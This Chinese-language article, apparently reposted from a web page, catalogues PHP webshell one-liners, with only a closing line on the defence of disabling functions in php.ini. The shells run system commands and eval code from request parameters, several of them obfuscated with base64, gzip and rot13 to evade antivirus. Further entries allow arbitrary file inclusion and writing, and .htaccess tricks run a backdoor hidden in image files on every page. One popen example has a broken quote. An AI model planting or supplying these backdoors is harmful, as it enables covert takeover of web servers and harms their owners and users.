PHP⽊马⼤全⼀句话的PHP⽊马的防范
php后门⽊马常⽤的函数⼤致上可分为四种类型:
  1. 执⾏系统命令: system, passthru, shell_exec, exec, popen, proc_open
  2. 代码执⾏与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
  3. ⽂件包含与⽣成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
  1. 执⾏系统命令:
  system 函数
  //test.php?cmd=ls
  system($_GET[cmd]);
  passthru 函数
  //test.php?cmd=ls
  passthru($_GET[cmd]);
  shell_exec 函数
  //test.php?cmd=ls
  echo shell_exec($_GET[cmd]);
  exec 函数
  //test.php?cmd=ls
  $arr = array();
  exec($_GET[cmd],$arr);
  print_r($arr);
  popen 函数
  //test.php?cmd=ls
  $handle = popen('$_GET[cmd], 'r');
  $read = fread($handle, 2096);
  echo $read;
  pclose($handle);
  proc_open 函数
  //test.php?cmd=ls
  $descriptorspec = array(
  0 => array('pipe', 'r'),
  1 => array('pipe', 'w'),
  2 => array('pipe', 'w'),
  );
  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
  fclose($pipes[0]);
  $output = array();
  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
  print_r($output);
  2. 代码执⾏与加密:
  eval 函数
  //最常见的⼀句话⽊马
  eval($_POST[cmd]);
  base64_decode 函数
  //为了免杀及隐藏⽽加密代码
  //密⽂: eval($_POST['cmd']);
  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
  gzinflate 函数
  //为了免杀及隐藏⽽加密代码
  //密⽂: eval($_POST['cmd']);
  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
  gzuncompress 函数
  //为了免杀及隐藏⽽加密代码
  //密⽂: eval($_POST['cmd']);
  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
  gzdecode 函数
  //为了免杀及隐藏⽽加密代码
  //密⽂: eval($_POST['cmd']);
  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));   str_rot13 函数
  //为了免杀及隐藏⽽加密代码
  //密⽂: eval($_POST[cmd]);
  eval(str_rot13('riny($_CBFG[pzq]);'));
  assert 函数
  //类似eval函数
  assert($_POST[cmd]);
  call_user_func 函数
  //使⽤call_user_func调⽤assert
  call_user_func('assert',$_POST[cmd]);
  call_user_func 函数
  //使⽤call_user_func调⽤任意函数
  //test.php?a=assert&cmd=phpinfo()
  call_user_func($_GET[a],$_REQUEST[cmd]);   组合代码
  //组合⽅式调⽤任意函数
  //test.php?a=assert&cmd=phpinfo()
  $_GET[a]($_REQUEST[cmd]);
  3. ⽂件包含与⽣成:
  require 函数
  //包含任意⽂件
  //test.php?file=123.jpg
  require($_GET[file]);
  require_once 函数
  //包含任意⽂件
  //test.php?file=123.jpg
  require_once($_GET[file]);
  include 函数
  //包含任意⽂件 www.jb51
  //test.php?file=123.jpg
  include($_GET[file]);
  include_once 函数
  //包含任意⽂件
  //test.php?file=123.jpg
  include_once($_GET[file]);
  file_get_contents 函数
  //读取任意⽂件
  //test.php?f=config.inc.php
  echo file_get_contents($_GET['f']);
  file_put_contents 函数
  //⽣成任意内容⽂件
  //a=test.php&b=
  file_put_contents($_GET[a],$_GET[b]);
  fputs 函数
  //⽣成任意内容⽂件
  //a=test.php&b=
  fputs(fopen($_GET[a],"w"),$_GET[b]);
  4. .htaccess:
  SetHandler
  //可将php代码存于⾮php后缀⽂件,例: x.jpg
  //将以下代码写⼊.htaccess中
  //连接x.jpg即可启动后门⽊马出处www.admin8.us
  SetHandler application/x-httpd-php
  auto_prepend_file
  //可将php代码存于⾮php后缀⽂件,例: 123.gif
  //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径
  //访问⽹站上任何php⽂件都会启动该php后门⽊马
  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马  php_value auto_prepend_file c:/apache2/htdocs/123.gif
  auto_append_file
  //类似auto_prepend_file
  //可将php代码存于⾮php后缀⽂件,例: 123.gif
  //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径
  //访问⽹站上任何php⽂件都会启动该php后门⽊马
  php_value auto_append_file c:/apache2/htdocs/123.gif
防范⽅法:通过禁⽌危险函数 php.ini中设置disable_functions详情可以参考下www.jb51/article/19292.htmphp文件下载源码

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。